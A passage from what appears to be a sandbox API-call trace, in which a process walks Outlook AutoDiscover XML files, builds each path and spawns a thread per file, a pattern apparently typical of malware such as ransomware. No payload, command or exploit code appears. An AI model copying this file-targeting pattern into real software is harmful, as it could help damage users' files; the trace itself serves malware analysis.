lpThreadId=0x0) returned 0x1ccc [0226.823] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a900, ftCreationTime.dwHighDateTime=0x1c6ea7d, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a900, ftLastWriteTime.dwHighDateTime=0x1c6ea7d, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.JP.XML", cAlternateFileName="YAHOOC~3.XML")) returned 1 [0226.823] wcscmp (_String1="YAHOO.CO.JP.XML", _String2=".") returned 1 [0226.823] wcscmp (_String1="YAHOO.CO.JP.XML", _String2="..") returned 1 [0226.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202aca50 [0226.823] wcscpy (in: _Dest=0x202aca50, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.823] wcscat (in: _Dest=0x202aca50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.823] wcscat (in: _Dest=0x202aca50, _Source="YAHOO.CO.JP.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.JP.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.JP.XML" [0226.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202aca50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2318 [0226.824] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c79650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.KR.XML", cAlternateFileName="YAEF96~1.XML")) returned 1 [0226.824] wcscmp (_String1="YAHOO.CO.KR.XML", _String2=".") returned 1 [0226.824] wcscmp (_String1="YAHOO.CO.KR.XML", _String2="..") returned 1 [0226.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202ac370 [0226.824] wcscpy (in: _Dest=0x202ac370, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.825] wcscat (in: _Dest=0x202ac370, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.825] wcscat (in: _Dest=0x202ac370, _Source="YAHOO.CO.KR.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.KR.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.KR.XML" [0226.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14a0 [0226.860] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.NZ.XML", cAlternateFileName="YA186B~1.XML")) returned 1 [0226.860] wcscmp (_String1="YAHOO.CO.NZ.XML", _String2=".") returned 1 [0226.860] wcscmp (_String1="YAHOO.CO.NZ.XML", _String2="..") returned 1 [0226.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202ad550 [0226.861] wcscpy (in: _Dest=0x202ad550, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.861] wcscat (in: _Dest=0x202ad550, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.861] wcscat (in: _Dest=0x202ad550, _Source="YAHOO.CO.NZ.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.NZ.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.NZ.XML" [0226.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2fdc [0226.864] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.TH.XML", cAlternateFileName="YACB7D~1.XML")) returned 1 [0226.864] wcscmp (_String1="YAHOO.CO.TH.XML", _String2=".") returned 1 [0226.864] wcscmp (_String1="YAHOO.CO.TH.XML", _String2="..") returned 1 [0226.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x431f4d50 [0226.865] wcscpy (in: _Dest=0x431f4d50, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.865] wcscat (in: _Dest=0x431f4d50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.865] wcscat (in: _Dest=0x431f4d50, _Source="YAHOO.CO.TH.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.TH.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.TH.XML" [0226.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431f4d50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2304 [0226.866] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.UK.XML", cAlternateFileName="YAE791~1.XML")) returned 1 [0226.866] wcscmp (_String1="YAHOO.CO.UK.XML", _String2=".") returned 1 [0226.866] wcscmp (_String1="YAHOO.CO.UK.XML", _String2="..") returned 1 [0226.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x431f4bf0 [0226.866] wcscpy (in: _Dest=0x431f4bf0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.867] wcscat (in: _Dest=0x431f4bf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.867] wcscat (in: _Dest=0x431f4bf0, _Source="YAHOO.CO.UK.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.UK.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.UK.XML" [0226.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431f4bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1028 [0226.867] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.AR.XML", cAlternateFileName="YA81CD~1.XML")) returned 1 [0226.867] wcscmp (_String1="YAHOO.COM.AR.XML", _String2=".") returned 1 [0226.867] wcscmp (_String1="YAHOO.COM.AR.XML", _String2="..") returned 1 [0226.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431f4720 [0226.868] wcscpy (in: _Dest=0x431f4720, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.868] wcscat (in: _Dest=0x431f4720, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.868] wcscat (in: _Dest=0x431f4720, _Source="YAHOO.COM.AR.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AR.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AR.XML" [0226.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431f4720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1740 [0226.869] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.AU.XML", cAlternateFileName="YA02CD~1.XML")) returned 1 [0226.869] wcscmp (_String1="YAHOO.COM.AU.XML", _String2=".") returned 1 [0226.869] wcscmp (_String1="YAHOO.COM.AU.XML", _String2="..") returned 1 [0226.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431f4eb0 [0226.869] wcscpy (in: _Dest=0x431f4eb0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.869] wcscat (in: _Dest=0x431f4eb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.869] wcscat (in: _Dest=0x431f4eb0, _Source="YAHOO.COM.AU.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AU.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AU.XML" [0226.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431f4eb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1de0 [0226.870] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.BR.XML", cAlternateFileName="YAHOOC~1.XML")) returned 1 [0226.870] wcscmp (_String1="YAHOO.COM.BR.XML", _String2=".") returned 1 [0226.870] wcscmp (_String1="YAHOO.COM.BR.XML", _String2="..") returned 1 [0226.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431f4ca0 [0226.871] wcscpy (in: _Dest=0x431f4ca0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.871] wcscat (in: _Dest=0x431f4ca0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.871] wcscat (in: _Dest=0x431f4ca0, _Source="YAHOO.COM.BR.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML" [0226.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431f4ca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ddc [0226.872] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.CN.XML", cAlternateFileName="YAHOOC~4.XML")) returned 1 [0226.872] wcscmp (_String1="YAHOO.COM.CN.XML", _String2=".") returned 1 [0226.872] wcscmp (_String1="YAHOO.COM.CN.XML", _String2="..") returned 1 [0226.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431f4f60 [0226.872] wcscpy (in: _Dest=0x431f4f60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.872] wcscat (in: _Dest=0x431f4f60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.872] wcscat (in: _Dest=0x431f4f60, _Source="YAHOO.COM.CN.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.CN.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.CN.XML" [0226.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431f4f60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f20 [0226.873] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.HK.XML", cAlternateFileName="YA56AC~1.XML")) returned 1 [0226.873] wcscmp (_String1="YAHOO.COM.HK.XML", _String2=".") returned 1 [0226.873] wcscmp (_String1="YAHOO.COM.HK.XML", _String2="..") returned 1 [0226.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431f5010 [0226.873] wcscpy (in: _Dest=0x431f5010, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.874] wcscat (in: _Dest=0x431f5010, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.874] wcscat (in: _Dest=0x431f5010, _Source="YAHOO.COM.HK.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.HK.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.HK.XML" [0226.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431f5010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f6c [0226.874] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.MX.XML", cAlternateFileName="YAEA08~1.XML")) returned 1 [0226.874] wcscmp (_String1="YAHOO.COM.MX.XML", _String2=".") returned 1 [0226.874] wcscmp (_String1="YAHOO.COM.MX.XML", _String2="..") returned 1 [0226.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431f50c0 [0226.874] wcscpy (in: _Dest=0x431f50c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.875] wcscat (in: _Dest=0x431f50c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.875] wcscat (in: _Dest=0x431f50c0, _Source="YAHOO.COM.MX.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MX.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MX.XML" [0226.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431f50c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14bc [0226.875] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.MY.XML", cAlternateFileName="YA0670~1.XML")) returned 1 [0226.875] wcscmp (_String1="YAHOO.COM.MY.XML", _String2=".") returned 1 [0226.875] wcscmp (_String1="YAHOO.COM.MY.XML", _String2="..") returned 1 [0226.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431f5170 [0226.876] wcscpy (in: _Dest=0x431f5170, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.876] wcscat (in: _Dest=0x431f5170, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.876] wcscat (in: _Dest=0x431f5170, _Source="YAHOO.COM.MY.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MY.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MY.XML" [0226.876] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431f5170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1648 [0226.876] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.PH.XML", cAlternateFileName="YA6D1B~1.XML")) returned 1 [0226.876] wcscmp (_String1="YAHOO.COM.PH.XML", _String2=".") returned 1 [0226.876] wcscmp (_String1="YAHOO.COM.PH.XML", _String2="..") returned 1 [0226.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431f5220 [0226.877] wcscpy (in: _Dest=0x431f5220, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.877] wcscat (in: _Dest=0x431f5220, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.877] wcscat (in: _Dest=0x431f5220, _Source="YAHOO.COM.PH.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.PH.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.PH.XML" [0226.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431f5220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a44 [0226.879] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.SG.XML", cAlternateFileName="YAC50A~1.XML")) returned 1 [0226.879] wcscmp (_String1="YAHOO.COM.SG.XML", _String2=".") returned 1 [0226.879] wcscmp (_String1="YAHOO.COM.SG.XML", _String2="..") returned 1 [0226.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431f52d0 [0226.879] wcscpy (in: _Dest=0x431f52d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.879] wcscat (in: _Dest=0x431f52d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.879] wcscat (in: _Dest=0x431f52d0, _Source="YAHOO.COM.SG.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.SG.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.SG.XML" [0226.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431f52d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x199c [0226.880] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.TW.XML", cAlternateFileName="YAB0F6~1.XML")) returned 1 [0226.880] wcscmp (_String1="YAHOO.COM.TW.XML", _String2=".") returned 1 [0226.880] wcscmp (_String1="YAHOO.COM.TW.XML", _String2="..") returned 1 [0226.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431f5380 [0226.881] wcscpy (in: _Dest=0x431f5380, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.881] wcscat (in: _Dest=0x431f5380, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft 